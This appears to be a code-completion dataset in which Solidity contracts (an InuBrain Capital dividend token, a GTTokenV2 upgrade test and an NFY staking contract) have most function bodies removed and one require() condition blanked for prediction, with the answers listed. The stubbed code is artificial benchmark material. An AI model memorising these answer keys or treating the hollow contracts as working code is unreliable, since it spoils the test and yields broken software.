function updateUniswapV2Router(address newAddress) public onlyOwner {
}
function claim() public {
}
function compound() public {
}
function withdrawableDividendOf(address account) public view returns (uint256) {
}
function withdrawnDividendOf(address account) public view returns (uint256) {
}
function accumulativeDividendOf(address account) public view returns (uint256) {
}
function getAccountInfo(address account) public view returns (address, uint256, uint256, uint256, uint256) {
}
function getLastClaimTime(address account) public view returns (uint256) {
}
function setSwapEnabled(bool _enabled) external onlyOwner () {
}
function setTaxEnabled(bool _enabled) external onlyOwner () {
}
function setCompoundingEnabled(bool _enabled) external onlyOwner () {
}
function updateDividendSettings(bool _swapEnabled, uint256 _swapTokensAtAmount, bool _swapAllToken) external onlyOwner () {
}
function setMaxTxBPS(uint256 bps) external onlyOwner () {
}
function excludeFromMaxTx(address account, bool excluded) public onlyOwner () {
}
function isExcludedFromMaxTx(address account) public view returns (bool) {
}
function setMaxWalletBPS(uint256 bps) external onlyOwner () {
}
function excludeFromMaxWallet(address account, bool excluded) public onlyOwner () {
}
function isExcludedFromMaxWallet(address account) public view returns (bool) {
}
function rescueToken(address _token, uint256 _amount) external onlyOwner {
}
function rescueETH(uint256 _amount) external onlyOwner{
}
}
contract DividendTracker is Ownable, IERC20 {
address UNISWAPROUTER;
string private _name = "InuBrain_DividendTracker";
string private _symbol = "InuBrain_DividendTracker";
uint256 public lastProcessedIndex;
uint256 private _totalSupply;
mapping (address => uint256) private _balances;
uint256 constant private magnitude = 2**128;
uint256 public immutable minTokenBalanceForDividends;
uint256 private magnifiedDividendPerShare;
uint256 public totalDividendsDistributed;
uint256 public totalDividendsWithdrawn;
address public tokenAddress;
mapping (address => bool) public excludedFromDividends;
mapping (address => int256) private magnifiedDividendCorrections;
mapping (address => uint256) private withdrawnDividends;
mapping (address => uint256) private lastClaimTimes;
event DividendsDistributed(address indexed from, uint256 weiAmount);
event DividendWithdrawn(address indexed to, uint256 weiAmount);
event ExcludeFromDividends(address indexed account, bool excluded);
event Claim(address indexed account, uint256 amount);
event Compound(address indexed account, uint256 amount, uint256 tokens);
struct AccountInfo {
address account;
uint256 withdrawableDividends;
uint256 totalDividends;
uint256 lastClaimTime;
}
constructor(address _tokenAddress, address _uniswapRouter) {
}
receive() external payable {
}
function distributeDividends() public payable {
}
function setBalance(address payable account, uint256 newBalance) external onlyOwner {
}
function excludeFromDividends(address account, bool excluded) external onlyOwner {
}
function isExcludedFromDividends(address account) public view returns (bool) {
}
function manualSendDividend(uint256 amount, address holder) external onlyOwner {
}
function _setBalance(address account, uint256 newBalance) internal {
}
function _mint(address account, uint256 amount) private {
}
function _burn(address account, uint256 amount) private {
}
function processAccount(address payable account) public onlyOwner returns (bool) {
}
function _withdrawDividendOfUser(address payable account) private returns (uint256) {
}
function compoundAccount(address payable account) public onlyOwner returns (bool) {
}
function _compoundDividendOfUser(address payable account) private returns (uint256, uint256) {
}
function withdrawableDividendOf(address account) public view returns (uint256) {
}
function withdrawnDividendOf(address account) public view returns (uint256) {
}
function accumulativeDividendOf(address account) public view returns (uint256) {
}
function getAccountInfo(address account) public view returns (address, uint256, uint256, uint256, uint256) {
}
function getLastClaimTime(address account) public view returns (uint256) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address, uint256) public pure override returns (bool) {
}
function allowance(address, address) public pure override returns (uint256) {
}
function approve(address, uint256) public pure override returns (bool) {
}
function transferFrom(address, address, uint256) public pure override returns (bool) {
}
}
| _isExcludedFromMaxWallet[recipient]||(currentBalance+amount<=_maxWallet) | 29,783 | _isExcludedFromMaxWallet[recipient]||(currentBalance+amount<=_maxWallet) |
"InuBrain: account is already set to requested state" | /**
InuBrain Capital: IBC
A friendly ghost has been spotted wandering around on the Ethereum Mainnet - a generous ghost named InuBrain Capital. InuBrain Capital's ambition is to become the biggest, best managed, and friendliest Ethereum reflection token on the ETH network! And as is befitting for a ghost, it manifests itself in stealth...
InuBrain Capital has the vision not just give our holders passive income but also the best meme "Inu" on board.
Tax for Buying/Selling: 14%
- 6% of each transaction sent to holders as ETH transactions
- 5% of each transaction sent to Marketing Wallet
- 3% of each transaction sent to the Liquidity Pool
Earning Dashboard:
https://inubrain.capital
Telegram:
http://T.me/InuBrainCapital
Twitter:
https://twitter.com/InuBrainCapital
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./IERC20.sol";
import "./Address.sol";
import "./SafeMath.sol";
import "./IUniswapV2Factory.sol";
import "./IUniswapV2Pair.sol";
import "./IUniswapV2Router02.sol";
contract InuBrainCapital is Ownable, IERC20 {
address UNISWAPROUTER = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
string private _name = "InuBrain Capital";
string private _symbol = "IBC";
uint256 public marketingFeeBPS = 500;
uint256 public liquidityFeeBPS = 300;
uint256 public dividendFeeBPS = 600;
uint256 public totalFeeBPS = 1400;
uint256 public swapTokensAtAmount = 10000000 * (10**18);
uint256 public lastSwapTime;
bool swapAllToken = true;
bool public swapEnabled = true;
bool public taxEnabled = true;
bool public compoundingEnabled = true;
uint256 private _totalSupply;
bool private swapping;
address marketingWallet;
address liquidityWallet;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public automatedMarketMakerPairs;
mapping(address => bool) private _whiteList;
event SwapAndAddLiquidity(uint256 tokensSwapped, uint256 nativeReceived, uint256 tokensIntoLiquidity);
event SendDividends(uint256 tokensSwapped, uint256 amount);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event SwapEnabled(bool enabled);
event TaxEnabled(bool enabled);
event CompoundingEnabled(bool enabled);
DividendTracker public dividendTracker;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
uint256 public maxTxBPS = 100;
uint256 public maxWalletBPS = 300;
bool isOpen = false;
mapping(address => bool) private _isExcludedFromMaxTx;
mapping(address => bool) private _isExcludedFromMaxWallet;
constructor(address _marketingWallet, address _liquidityWallet, address[] memory whitelistAddress) {
}
receive() external payable {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function openTrading() external onlyOwner {
}
function _transfer(address sender, address recipient, uint256 amount) internal {
}
function _executeTransfer(address sender, address recipient, uint256 amount) private {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _mint(address account, uint256 amount) private {
}
function _burn(address account, uint256 amount) private {
}
function swapTokensForNative(uint256 tokens) private {
}
function addLiquidity(uint256 tokens, uint256 native) private {
}
function includeToWhiteList(address[] memory _users) private {
}
function _executeSwap(uint256 tokens, uint256 native) private {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
require(<FILL_ME>)
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function manualSendDividend(uint256 amount, address holder) external onlyOwner {
}
function excludeFromDividends(address account, bool excluded) public onlyOwner {
}
function isExcludedFromDividends(address account) public view returns (bool) {
}
function setWallet(address payable _marketingWallet, address payable _liquidityWallet) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
}
function setFee(uint256 _marketingFee, uint256 _liquidityFee, uint256 _dividendFee) external onlyOwner{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateUniswapV2Router(address newAddress) public onlyOwner {
}
function claim() public {
}
function compound() public {
}
function withdrawableDividendOf(address account) public view returns (uint256) {
}
function withdrawnDividendOf(address account) public view returns (uint256) {
}
function accumulativeDividendOf(address account) public view returns (uint256) {
}
function getAccountInfo(address account) public view returns (address, uint256, uint256, uint256, uint256) {
}
function getLastClaimTime(address account) public view returns (uint256) {
}
function setSwapEnabled(bool _enabled) external onlyOwner () {
}
function setTaxEnabled(bool _enabled) external onlyOwner () {
}
function setCompoundingEnabled(bool _enabled) external onlyOwner () {
}
function updateDividendSettings(bool _swapEnabled, uint256 _swapTokensAtAmount, bool _swapAllToken) external onlyOwner () {
}
function setMaxTxBPS(uint256 bps) external onlyOwner () {
}
function excludeFromMaxTx(address account, bool excluded) public onlyOwner () {
}
function isExcludedFromMaxTx(address account) public view returns (bool) {
}
function setMaxWalletBPS(uint256 bps) external onlyOwner () {
}
function excludeFromMaxWallet(address account, bool excluded) public onlyOwner () {
}
function isExcludedFromMaxWallet(address account) public view returns (bool) {
}
function rescueToken(address _token, uint256 _amount) external onlyOwner {
}
function rescueETH(uint256 _amount) external onlyOwner{
}
}
contract DividendTracker is Ownable, IERC20 {
address UNISWAPROUTER;
string private _name = "InuBrain_DividendTracker";
string private _symbol = "InuBrain_DividendTracker";
uint256 public lastProcessedIndex;
uint256 private _totalSupply;
mapping (address => uint256) private _balances;
uint256 constant private magnitude = 2**128;
uint256 public immutable minTokenBalanceForDividends;
uint256 private magnifiedDividendPerShare;
uint256 public totalDividendsDistributed;
uint256 public totalDividendsWithdrawn;
address public tokenAddress;
mapping (address => bool) public excludedFromDividends;
mapping (address => int256) private magnifiedDividendCorrections;
mapping (address => uint256) private withdrawnDividends;
mapping (address => uint256) private lastClaimTimes;
event DividendsDistributed(address indexed from, uint256 weiAmount);
event DividendWithdrawn(address indexed to, uint256 weiAmount);
event ExcludeFromDividends(address indexed account, bool excluded);
event Claim(address indexed account, uint256 amount);
event Compound(address indexed account, uint256 amount, uint256 tokens);
struct AccountInfo {
address account;
uint256 withdrawableDividends;
uint256 totalDividends;
uint256 lastClaimTime;
}
constructor(address _tokenAddress, address _uniswapRouter) {
}
receive() external payable {
}
function distributeDividends() public payable {
}
function setBalance(address payable account, uint256 newBalance) external onlyOwner {
}
function excludeFromDividends(address account, bool excluded) external onlyOwner {
}
function isExcludedFromDividends(address account) public view returns (bool) {
}
function manualSendDividend(uint256 amount, address holder) external onlyOwner {
}
function _setBalance(address account, uint256 newBalance) internal {
}
function _mint(address account, uint256 amount) private {
}
function _burn(address account, uint256 amount) private {
}
function processAccount(address payable account) public onlyOwner returns (bool) {
}
function _withdrawDividendOfUser(address payable account) private returns (uint256) {
}
function compoundAccount(address payable account) public onlyOwner returns (bool) {
}
function _compoundDividendOfUser(address payable account) private returns (uint256, uint256) {
}
function withdrawableDividendOf(address account) public view returns (uint256) {
}
function withdrawnDividendOf(address account) public view returns (uint256) {
}
function accumulativeDividendOf(address account) public view returns (uint256) {
}
function getAccountInfo(address account) public view returns (address, uint256, uint256, uint256, uint256) {
}
function getLastClaimTime(address account) public view returns (uint256) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address, uint256) public pure override returns (bool) {
}
function allowance(address, address) public pure override returns (uint256) {
}
function approve(address, uint256) public pure override returns (bool) {
}
function transferFrom(address, address, uint256) public pure override returns (bool) {
}
}
| _isExcludedFromFees[account]!=excluded,"InuBrain: account is already set to requested state" | 29,783 | _isExcludedFromFees[account]!=excluded |
"InuBrain_DividendTracker: account already set to requested state" | /**
InuBrain Capital: IBC
A friendly ghost has been spotted wandering around on the Ethereum Mainnet - a generous ghost named InuBrain Capital. InuBrain Capital's ambition is to become the biggest, best managed, and friendliest Ethereum reflection token on the ETH network! And as is befitting for a ghost, it manifests itself in stealth...
InuBrain Capital has the vision not just give our holders passive income but also the best meme "Inu" on board.
Tax for Buying/Selling: 14%
- 6% of each transaction sent to holders as ETH transactions
- 5% of each transaction sent to Marketing Wallet
- 3% of each transaction sent to the Liquidity Pool
Earning Dashboard:
https://inubrain.capital
Telegram:
http://T.me/InuBrainCapital
Twitter:
https://twitter.com/InuBrainCapital
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./IERC20.sol";
import "./Address.sol";
import "./SafeMath.sol";
import "./IUniswapV2Factory.sol";
import "./IUniswapV2Pair.sol";
import "./IUniswapV2Router02.sol";
contract InuBrainCapital is Ownable, IERC20 {
address UNISWAPROUTER = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
string private _name = "InuBrain Capital";
string private _symbol = "IBC";
uint256 public marketingFeeBPS = 500;
uint256 public liquidityFeeBPS = 300;
uint256 public dividendFeeBPS = 600;
uint256 public totalFeeBPS = 1400;
uint256 public swapTokensAtAmount = 10000000 * (10**18);
uint256 public lastSwapTime;
bool swapAllToken = true;
bool public swapEnabled = true;
bool public taxEnabled = true;
bool public compoundingEnabled = true;
uint256 private _totalSupply;
bool private swapping;
address marketingWallet;
address liquidityWallet;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public automatedMarketMakerPairs;
mapping(address => bool) private _whiteList;
event SwapAndAddLiquidity(uint256 tokensSwapped, uint256 nativeReceived, uint256 tokensIntoLiquidity);
event SendDividends(uint256 tokensSwapped, uint256 amount);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event SwapEnabled(bool enabled);
event TaxEnabled(bool enabled);
event CompoundingEnabled(bool enabled);
DividendTracker public dividendTracker;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
uint256 public maxTxBPS = 100;
uint256 public maxWalletBPS = 300;
bool isOpen = false;
mapping(address => bool) private _isExcludedFromMaxTx;
mapping(address => bool) private _isExcludedFromMaxWallet;
constructor(address _marketingWallet, address _liquidityWallet, address[] memory whitelistAddress) {
}
receive() external payable {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function openTrading() external onlyOwner {
}
function _transfer(address sender, address recipient, uint256 amount) internal {
}
function _executeTransfer(address sender, address recipient, uint256 amount) private {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _mint(address account, uint256 amount) private {
}
function _burn(address account, uint256 amount) private {
}
function swapTokensForNative(uint256 tokens) private {
}
function addLiquidity(uint256 tokens, uint256 native) private {
}
function includeToWhiteList(address[] memory _users) private {
}
function _executeSwap(uint256 tokens, uint256 native) private {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function manualSendDividend(uint256 amount, address holder) external onlyOwner {
}
function excludeFromDividends(address account, bool excluded) public onlyOwner {
}
function isExcludedFromDividends(address account) public view returns (bool) {
}
function setWallet(address payable _marketingWallet, address payable _liquidityWallet) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
}
function setFee(uint256 _marketingFee, uint256 _liquidityFee, uint256 _dividendFee) external onlyOwner{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateUniswapV2Router(address newAddress) public onlyOwner {
}
function claim() public {
}
function compound() public {
}
function withdrawableDividendOf(address account) public view returns (uint256) {
}
function withdrawnDividendOf(address account) public view returns (uint256) {
}
function accumulativeDividendOf(address account) public view returns (uint256) {
}
function getAccountInfo(address account) public view returns (address, uint256, uint256, uint256, uint256) {
}
function getLastClaimTime(address account) public view returns (uint256) {
}
function setSwapEnabled(bool _enabled) external onlyOwner () {
}
function setTaxEnabled(bool _enabled) external onlyOwner () {
}
function setCompoundingEnabled(bool _enabled) external onlyOwner () {
}
function updateDividendSettings(bool _swapEnabled, uint256 _swapTokensAtAmount, bool _swapAllToken) external onlyOwner () {
}
function setMaxTxBPS(uint256 bps) external onlyOwner () {
}
function excludeFromMaxTx(address account, bool excluded) public onlyOwner () {
}
function isExcludedFromMaxTx(address account) public view returns (bool) {
}
function setMaxWalletBPS(uint256 bps) external onlyOwner () {
}
function excludeFromMaxWallet(address account, bool excluded) public onlyOwner () {
}
function isExcludedFromMaxWallet(address account) public view returns (bool) {
}
function rescueToken(address _token, uint256 _amount) external onlyOwner {
}
function rescueETH(uint256 _amount) external onlyOwner{
}
}
contract DividendTracker is Ownable, IERC20 {
address UNISWAPROUTER;
string private _name = "InuBrain_DividendTracker";
string private _symbol = "InuBrain_DividendTracker";
uint256 public lastProcessedIndex;
uint256 private _totalSupply;
mapping (address => uint256) private _balances;
uint256 constant private magnitude = 2**128;
uint256 public immutable minTokenBalanceForDividends;
uint256 private magnifiedDividendPerShare;
uint256 public totalDividendsDistributed;
uint256 public totalDividendsWithdrawn;
address public tokenAddress;
mapping (address => bool) public excludedFromDividends;
mapping (address => int256) private magnifiedDividendCorrections;
mapping (address => uint256) private withdrawnDividends;
mapping (address => uint256) private lastClaimTimes;
event DividendsDistributed(address indexed from, uint256 weiAmount);
event DividendWithdrawn(address indexed to, uint256 weiAmount);
event ExcludeFromDividends(address indexed account, bool excluded);
event Claim(address indexed account, uint256 amount);
event Compound(address indexed account, uint256 amount, uint256 tokens);
struct AccountInfo {
address account;
uint256 withdrawableDividends;
uint256 totalDividends;
uint256 lastClaimTime;
}
constructor(address _tokenAddress, address _uniswapRouter) {
}
receive() external payable {
}
function distributeDividends() public payable {
}
function setBalance(address payable account, uint256 newBalance) external onlyOwner {
}
function excludeFromDividends(address account, bool excluded) external onlyOwner {
require(<FILL_ME>)
excludedFromDividends[account] = excluded;
if(excluded) {
_setBalance(account, 0);
} else {
uint256 newBalance = IERC20(tokenAddress).balanceOf(account);
if(newBalance >= minTokenBalanceForDividends) {
_setBalance(account, newBalance);
} else {
_setBalance(account, 0);
}
}
emit ExcludeFromDividends(account, excluded);
}
function isExcludedFromDividends(address account) public view returns (bool) {
}
function manualSendDividend(uint256 amount, address holder) external onlyOwner {
}
function _setBalance(address account, uint256 newBalance) internal {
}
function _mint(address account, uint256 amount) private {
}
function _burn(address account, uint256 amount) private {
}
function processAccount(address payable account) public onlyOwner returns (bool) {
}
function _withdrawDividendOfUser(address payable account) private returns (uint256) {
}
function compoundAccount(address payable account) public onlyOwner returns (bool) {
}
function _compoundDividendOfUser(address payable account) private returns (uint256, uint256) {
}
function withdrawableDividendOf(address account) public view returns (uint256) {
}
function withdrawnDividendOf(address account) public view returns (uint256) {
}
function accumulativeDividendOf(address account) public view returns (uint256) {
}
function getAccountInfo(address account) public view returns (address, uint256, uint256, uint256, uint256) {
}
function getLastClaimTime(address account) public view returns (uint256) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address, uint256) public pure override returns (bool) {
}
function allowance(address, address) public pure override returns (uint256) {
}
function approve(address, uint256) public pure override returns (bool) {
}
function transferFrom(address, address, uint256) public pure override returns (bool) {
}
}
| excludedFromDividends[account]!=excluded,"InuBrain_DividendTracker: account already set to requested state" | 29,783 | excludedFromDividends[account]!=excluded |
null | pragma solidity ^0.5.17;
import "./GTToken.sol";
/**
* @title GTTokenV2
* @dev The GTTokenV2 contract extends GTToken contract for upgradability testing
*/
contract GTTokenV2 is GTToken {
/* Storage */
uint256 public updatedTokenAmount;
/* External functions */
/**
* @dev Allows setting up of GTTokenV2, sets the isSetup to true
* @param _updatedTokenAmount uint The updated fixed token amount value
*/
function setupV2(uint256 _updatedTokenAmount)
external
onlyOwner
{
}
/**
* @dev Allows allocation of GT Token to investors with V2 logic
* @param investorAddress address The address of the investor
* @param tokenAmount uint The GT token amount to be allocated
*/
function allocateTokens(
address investorAddress,
uint tokenAmount
)
external
isGTTokenSetup
returns(bool)
{
require(<FILL_ME>)
require(tokenAmount == updatedTokenAmount);
_mint(investorAddress, tokenAmount);
emit AllocateTokens(investorAddress, balanceOf(investorAddress));
return true;
}
}
| investorRegistered[investorAddress] | 29,803 | investorRegistered[investorAddress] |
"Do not have enough NFY to stake" | pragma solidity ^0.6.10;
interface INFYStakingNFT {
function nftTokenId(address _stakeholder) external view returns(uint256 id);
function revertNftTokenId(address _stakeholder, uint256 _tokenId) external;
function ownerOf(uint256 tokenId) external view returns (address owner);
function balanceOf(address owner) external view returns (uint256 balance);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
}
contract NFYStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct NFT {
address _addressOfMinter;
uint256 _NFYDeposited;
bool _inCirculation;
uint256 _rewardDebt;
}
event StakeCompleted(address _staker, uint256 _amount, uint256 _tokenId, uint256 _totalStaked, uint256 _time);
event WithdrawCompleted(address _staker, uint256 _amount, uint256 _tokenId, uint256 _time);
event PoolUpdated(uint256 _blocksRewarded, uint256 _amountRewarded, uint256 _time);
event RewardsClaimed(address _staker, uint256 _rewardsClaimed, uint256 _tokenId, uint256 _time);
event RewardsCompounded(address _staker, uint256 _rewardsCompounded, uint256 _tokenId, uint256 _totalStaked, uint256 _time);
event MintedToken(address _staker, uint256 _tokenId, uint256 _time);
event TotalUnstaked(uint256 _total);
IERC20 public NFYToken;
INFYStakingNFT public StakingNFT;
address public rewardPool;
address public staking;
uint256 public dailyReward;
uint256 public accNfyPerShare;
uint256 public lastRewardBlock;
uint256 public totalStaked;
mapping(uint256 => NFT) public NFTDetails;
// Constructor will set the address of NFY token and address of NFY staking NFT
constructor(address _NFYToken, address _StakingNFT, address _staking, address _rewardPool, uint256 _dailyReward) Ownable() public {
}
// 6500 blocks in average day --- decimals * NFY balance of rewardPool / blocks / 10000 * dailyReward (in hundredths of %) = rewardPerBlock
function getRewardPerBlock() public view returns(uint256) {
}
// % of reward pool to be distributed each day --- in hundredths of % 30 == 0.3%
function setDailyReward(uint256 _dailyReward) public onlyOwner {
}
// Function that will get balance of a NFY balance of a certain stake
function getNFTBalance(uint256 _tokenId) public view returns(uint256 _amountStaked) {
}
// Function that will check if a NFY stake NFT is in circulation
function checkIfNFTInCirculation(uint256 _tokenId) public view returns(bool _inCirculation) {
}
// Function that returns NFT's pending rewards
function pendingRewards(uint256 _NFT) public view returns(uint256) {
}
// Get total rewards for all of user's NFY nfts
function getTotalRewards(address _address) public view returns(uint256) {
}
// Get total stake for all user's NFY nfts
function getTotalBalance(address _address) public view returns(uint256) {
}
// Function that updates NFY pool
function updatePool() public {
}
// Function that lets user stake NFY
function stakeNFY(uint256 _amount) public {
require(_amount > 0, "Can not stake 0 NFY");
require(<FILL_ME>)
updatePool();
if(StakingNFT.nftTokenId(_msgSender()) == 0){
addStakeholder(_msgSender());
}
NFT storage nft = NFTDetails[StakingNFT.nftTokenId(_msgSender())];
if(nft._NFYDeposited > 0) {
uint256 _pendingRewards = nft._NFYDeposited.mul(accNfyPerShare).div(1e18).sub(nft._rewardDebt);
if(_pendingRewards > 0) {
NFYToken.transfer(_msgSender(), _pendingRewards);
emit RewardsClaimed(_msgSender(), _pendingRewards, StakingNFT.nftTokenId(_msgSender()), now);
}
}
NFYToken.transferFrom(_msgSender(), address(this), _amount);
nft._NFYDeposited = nft._NFYDeposited.add(_amount);
totalStaked = totalStaked.add(_amount);
nft._rewardDebt = nft._NFYDeposited.mul(accNfyPerShare).div(1e18);
emit StakeCompleted(_msgSender(), _amount, StakingNFT.nftTokenId(_msgSender()), nft._NFYDeposited, now);
}
function addStakeholder(address _stakeholder) private {
}
function addStakeholderExternal(address _stakeholder) external onlyPlatform() {
}
// Function that will allow user to claim rewards
function claimRewards(uint256 _tokenId) public {
}
// Function that will add NFY rewards to NFY staking NFT
function compoundRewards(uint256 _tokenId) public {
}
// Function that lets user claim all rewards from all their nfts
function claimAllRewards() public {
}
// Function that lets user compound all rewards from all their nfts
function compoundAllRewards() public {
}
// Function that lets user unstake NFY in system. 5% fee that gets redistributed back to reward pool
function unstakeNFY(uint256 _tokenId) public {
}
// Function that will unstake every user's NFY stake NFT for user
function unstakeAll() public {
}
// Will increment value of staking NFT when trade occurs
function incrementNFTValue (uint256 _tokenId, uint256 _amount) external onlyPlatform() {
}
// Will decrement value of staking NFT when trade occurs
function decrementNFTValue (uint256 _tokenId, uint256 _amount) external onlyPlatform() {
}
}
| NFYToken.balanceOf(_msgSender())>=_amount,"Do not have enough NFY to stake" | 29,840 | NFYToken.balanceOf(_msgSender())>=_amount |
"User is not owner of token" | pragma solidity ^0.6.10;
interface INFYStakingNFT {
function nftTokenId(address _stakeholder) external view returns(uint256 id);
function revertNftTokenId(address _stakeholder, uint256 _tokenId) external;
function ownerOf(uint256 tokenId) external view returns (address owner);
function balanceOf(address owner) external view returns (uint256 balance);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
}
contract NFYStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct NFT {
address _addressOfMinter;
uint256 _NFYDeposited;
bool _inCirculation;
uint256 _rewardDebt;
}
event StakeCompleted(address _staker, uint256 _amount, uint256 _tokenId, uint256 _totalStaked, uint256 _time);
event WithdrawCompleted(address _staker, uint256 _amount, uint256 _tokenId, uint256 _time);
event PoolUpdated(uint256 _blocksRewarded, uint256 _amountRewarded, uint256 _time);
event RewardsClaimed(address _staker, uint256 _rewardsClaimed, uint256 _tokenId, uint256 _time);
event RewardsCompounded(address _staker, uint256 _rewardsCompounded, uint256 _tokenId, uint256 _totalStaked, uint256 _time);
event MintedToken(address _staker, uint256 _tokenId, uint256 _time);
event TotalUnstaked(uint256 _total);
IERC20 public NFYToken;
INFYStakingNFT public StakingNFT;
address public rewardPool;
address public staking;
uint256 public dailyReward;
uint256 public accNfyPerShare;
uint256 public lastRewardBlock;
uint256 public totalStaked;
mapping(uint256 => NFT) public NFTDetails;
// Constructor will set the address of NFY token and address of NFY staking NFT
constructor(address _NFYToken, address _StakingNFT, address _staking, address _rewardPool, uint256 _dailyReward) Ownable() public {
}
// 6500 blocks in average day --- decimals * NFY balance of rewardPool / blocks / 10000 * dailyReward (in hundredths of %) = rewardPerBlock
function getRewardPerBlock() public view returns(uint256) {
}
// % of reward pool to be distributed each day --- in hundredths of % 30 == 0.3%
function setDailyReward(uint256 _dailyReward) public onlyOwner {
}
// Function that will get balance of a NFY balance of a certain stake
function getNFTBalance(uint256 _tokenId) public view returns(uint256 _amountStaked) {
}
// Function that will check if a NFY stake NFT is in circulation
function checkIfNFTInCirculation(uint256 _tokenId) public view returns(bool _inCirculation) {
}
// Function that returns NFT's pending rewards
function pendingRewards(uint256 _NFT) public view returns(uint256) {
}
// Get total rewards for all of user's NFY nfts
function getTotalRewards(address _address) public view returns(uint256) {
}
// Get total stake for all user's NFY nfts
function getTotalBalance(address _address) public view returns(uint256) {
}
// Function that updates NFY pool
function updatePool() public {
}
// Function that lets user stake NFY
function stakeNFY(uint256 _amount) public {
}
function addStakeholder(address _stakeholder) private {
}
function addStakeholderExternal(address _stakeholder) external onlyPlatform() {
}
// Function that will allow user to claim rewards
function claimRewards(uint256 _tokenId) public {
require(<FILL_ME>)
require(NFTDetails[_tokenId]._inCirculation == true, "Stake has already been withdrawn");
updatePool();
NFT storage nft = NFTDetails[_tokenId];
uint256 _pendingRewards = nft._NFYDeposited.mul(accNfyPerShare).div(1e18).sub(nft._rewardDebt);
require(_pendingRewards > 0, "No rewards to claim!");
NFYToken.transfer(_msgSender(), _pendingRewards);
nft._rewardDebt = nft._NFYDeposited.mul(accNfyPerShare).div(1e18);
emit RewardsClaimed(_msgSender(), _pendingRewards, _tokenId, now);
}
// Function that will add NFY rewards to NFY staking NFT
function compoundRewards(uint256 _tokenId) public {
}
// Function that lets user claim all rewards from all their nfts
function claimAllRewards() public {
}
// Function that lets user compound all rewards from all their nfts
function compoundAllRewards() public {
}
// Function that lets user unstake NFY in system. 5% fee that gets redistributed back to reward pool
function unstakeNFY(uint256 _tokenId) public {
}
// Function that will unstake every user's NFY stake NFT for user
function unstakeAll() public {
}
// Will increment value of staking NFT when trade occurs
function incrementNFTValue (uint256 _tokenId, uint256 _amount) external onlyPlatform() {
}
// Will decrement value of staking NFT when trade occurs
function decrementNFTValue (uint256 _tokenId, uint256 _amount) external onlyPlatform() {
}
}
| StakingNFT.ownerOf(_tokenId)==_msgSender(),"User is not owner of token" | 29,840 | StakingNFT.ownerOf(_tokenId)==_msgSender() |
"Stake has already been withdrawn" | pragma solidity ^0.6.10;
interface INFYStakingNFT {
function nftTokenId(address _stakeholder) external view returns(uint256 id);
function revertNftTokenId(address _stakeholder, uint256 _tokenId) external;
function ownerOf(uint256 tokenId) external view returns (address owner);
function balanceOf(address owner) external view returns (uint256 balance);
